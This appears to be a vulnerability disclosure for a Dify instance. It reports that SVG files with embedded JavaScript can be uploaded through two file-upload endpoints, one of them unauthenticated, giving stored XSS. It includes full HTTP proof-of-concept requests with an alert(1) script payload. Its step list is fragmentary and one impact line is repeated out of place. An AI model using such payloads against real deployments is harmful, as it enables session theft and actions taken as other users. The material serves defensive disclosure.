POST /api/files/upload HTTP/2
Host: dify.test
X-App-Passport: <JWT_anon>
Content-Type: multipart/form-data; boundary=----geckoformboundarya5d1bb3810213937e8658e99124e66cb
Content-Length: 597
------geckoformboundarya5d1bb3810213937e8658e99124e66cb
Content-Disposition: form-data; name="file"; filename="SVG_XSS.svg"
Content-Type: image/svg+xml
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert(1);
</script>
</svg>
------geckoformboundarya5d1bb3810213937e8658e99124e66cb--
POST /v1/files/upload HTTP/2
Host: dify.test
Authorization: Bearer <app_apikey>
Content-Type: multipart/form-data; boundary=----geckoformboundary14881e8331eb8afda2b7c0ddb3138c2a
Content-Length: 597
------geckoformboundary14881e8331eb8afda2b7c0ddb3138c2a
Content-Disposition: form-data; name="file"; filename="SVG_XSS.svg"
Content-Type: image/svg+xml
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert(1);
</script>
</svg>
------geckoformboundary14881e8331eb8afda2b7c0ddb3138c2a--
Performing actions on behalf of a user; session theft when AT stored in Local Storage (or in cookie w/o HttpOnly), etc.
Summary
Using the method
POST /api/files/upload, any unauthenticated user can upload an SVG file with XSS.The method
POST /v1/files/upload, which requires authentication through the application API, is also vulnerable.Details and PoC
source_url, follow it (you can do this without authentication).For the method
POST /v1/files/upload, exploitation is similar:source_url, follow it (you can do this without authentication).Impact
Performing actions on behalf of a user; session theft when AT stored in Local Storage (or in cookie w/o HttpOnly), etc.